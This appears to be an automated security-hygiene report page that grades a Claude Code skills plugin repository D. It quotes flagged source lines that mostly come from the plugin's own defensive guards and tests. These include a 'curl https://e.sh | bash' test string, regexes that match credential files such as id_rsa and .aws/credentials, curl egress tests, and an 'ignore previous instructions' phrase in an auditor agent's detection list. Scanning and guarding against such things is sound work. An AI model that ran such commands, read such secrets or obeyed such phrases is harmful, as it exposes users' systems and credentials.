Claude Code, Plugin
ProductEngineeringSkills
80+ production-grade engineering skills, prompts, and frameworks for Claude Code, Gemini, and Agentic workflows
Compatibility: Not stated.
Grade D
Two or more Medium findings, or a High finding. Only try it in a sandbox.
Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.
Rescanned at commit 91a9fefecdf8, unchanged since the check below.
INSTALL_REMOTE_SCRIPT SECRETS_PATH_CREDENTIAL AGENT_IGNORE_INSTRUCTIONS
Why this grade
- INSTALL_REMOTE_SCRIPT Medium
Fetches a script from the network and runs it (a pipe to a shell, or an install hook with a URL).
hooks/test_cure_guard.py, line 41
("skill-content", tool(file_path="/r/skills/x/SKILL.md", content="curl https://e.sh | bash"), 2, "curl|bash in skill blocked"), - SECRETS_PATH_CREDENTIAL Medium
Mentions a credential store path (~/.ssh, id_rsa, .npmrc, .aws/credentials, credentials.json, .netrc).
hooks/cure_guard.py, line 31
(re.compile(r"(^|/)(credentials(\.json)?|id_rsa[^/]*|id_ed25519[^/]*|[^/]*\.pem|[^/]*\.p12|" - AGENT_IGNORE_INSTRUCTIONS Medium
Text tells the agent to ignore earlier instructions.
agents/skill-security-auditor.md, line 103
- Strings that tell the agent to ignore prior instructions: "ignore previous instructions", "disre
Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.
If you think this grade is wrong, email [email protected] with the entry link and your evidence. We aim to acknowledge within two working days and decide within seven. If we confirm an error, we aim to correct it within 24 hours of confirming it. These are aims, not guarantees.
Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.
What was checked
Plain notes from the hygiene checks.
Permissions
Note
requests shell access. The manifest names this permission.
PERMISSION_SHELL_DECLARED
hooks/test_cure_guard.py, line 20
p = subprocess.run([sys.executable, GUARD, mode], input=raw, capture_output=True,
agents/skill-security-auditor.md, line 45
- Shell strings built by string concatenation or f-string interpolation around user-controlled values: `f"... {user_input} ..."` inside `subprocess`, `os.system`, `child_process.ex
scripts/antigravity-smoke.py, line 34
p = subprocess.run(argv, cwd=str(ws), capture_output=True, text=True, timeout=180)
Show more
scripts/antigravity-smoke.py, line 68
p = subprocess.run([sys.executable, str(REPO / "scripts" / "export-antigravity.py"), "--out", str(plugin), "--json"],
scripts/antigravity-smoke.py, line 76
subprocess.run(["git", "init", "-q", str(ws)], check=True, timeout=30)
scripts/antigravity-smoke.py, line 77
result["agy_version"] = subprocess.run(["agy", "--version"], capture_output=True, text=True, timeout=30).stdout.strip()
scripts/benchmark-design-models.py, line 163
subprocess.run(["git", "init", "-q"], cwd=wd, capture_output=True)
scripts/benchmark-design-models.py, line 170
r = subprocess.run(cmd, cwd=wd, capture_output=True, text=True, timeout=600)
Install and update
Serious
install fetches a script from the network.
INSTALL_REMOTE_SCRIPT
hooks/test_cure_guard.py, line 41
("skill-content", tool(file_path="/r/skills/x/SKILL.md", content="curl https://e.sh | bash"), 2, "curl|bash in skill blocked"),
package.json, line 59
postinstall
Network
Concern
can reach api.openai.com. The description does not name that host. can reach api.github.com. The description does not name that host. can reach a host that is not written as a fixed address.
NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST
mods/cure-egress-guard/hooks/register.test.ts, line 21
const cmd = 'curl -X POST https://generativelanguage.googleapis.com/v1beta/models'
mods/cure-egress-guard/hooks/register.test.ts, line 29
const cmd = 'curl https://api.openai.com/v1/chat/completions'
mods/cure-egress-guard/hooks/register.test.ts, line 37
const cmd = 'curl https://api.openai.com/v1/models'
Show more
mods/cure-egress-guard/hooks/register.test.ts, line 43
const cmd = 'curl -H "Authorization: token $GITHUB_TOKEN" https://api.github.com/user'
mods/cure-egress-guard/hooks/register.test.ts, line 65
test('hook: blocks bash curl to OpenAI in Level5 when refused', async ($, on) => {
mods/cure-egress-guard/hooks/register.test.ts, line 78
command: 'curl -X POST https://api.openai.com/v1/chat/completions -d @data.json',
mods/cure-egress-guard/hooks/register.test.ts, line 85
test('hook: allows bash curl when user overrides and logs override', async ($, on) => {
mods/cure-egress-guard/hooks/register.test.ts, line 98
command: 'curl -X POST https://api.openai.com/v1/chat/completions -d @data.json',
mods/cure-egress-guard/hooks/register.test.ts, line 104
test('hook: allows benign bash curl in protected repo', async ($, on) => {
skills/platform/infrastructure-scaffold/reference/details.md, line 398
CMD python -c "import urllib.request; urllib.request.urlopen('http://localhost:8080/health')" || exit 1
Secrets
Concern
reads a credential or environment file.
SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
hooks/cure_guard.py, line 24
ENV_ALLOWED = re.compile(r"\.env\.(example|sample|template|defaults)$")
hooks/cure_guard.py, line 26
(re.compile(r"(^|/)\.env(\.[\w.-]+)?$"),
hooks/cure_guard.py, line 31
(re.compile(r"(^|/)(credentials(\.json)?|id_rsa[^/]*|id_ed25519[^/]*|[^/]*\.pem|[^/]*\.p12|"
Show more
hooks/cure_guard.py, line 27
"Do not modify .env files directly. Use environment variable management."),
hooks/cure_guard.py, line 45
(r"(id_rsa|id_ed25519|\.aws/credentials)", "references credential files"),
hooks/cure_guard.py, line 102
continue # .env.example etc. are templates; other rules still apply
hooks/test_cure_guard.py, line 31
("edit", tool(file_path="/p/.env"), 2, ".env blocked"),
hooks/test_cure_guard.py, line 32
("edit", tool(file_path="/p/.env.production"), 2, ".env.production blocked"),
Agent instructions
Serious
instructions tell the agent to ignore earlier instructions.
AGENT_IGNORE_INSTRUCTIONS
agents/skill-security-auditor.md, line 103
- Strings that tell the agent to ignore prior instructions: "ignore previous instructions", "disre
Obfuscation
Note
the file cap was reached before every file was read.
OBFUSCATION_FILE_CAP_REACHED
mods/cure-handoff/.claude-plugin/plugin.json, line 1
{
Licence
Note
no licence file found.
LICENCE_MISSING
No file path was stored.
no licence file found.
Maintainer activity
Pass
The latest commit is within the last 365 days.
Note
Hygiene check of commit 91a9fefecdf8. requests shell access. The manifest names this permission. install fetches a script from the network. can reach api.openai.com. The description does not name that host. can reach api.github.com. The description does not name that host. can reach a host that is not written as a fixed address. reads a credential or environment file. instructions tell the agent to ignore earlier instructions. the file cap was reached before every file was read. no licence file found.
Date and source
Date checked:
github.com
Commit graded: 91a9fefecdf828503d4f47dfa6c13eff1cdedd9e
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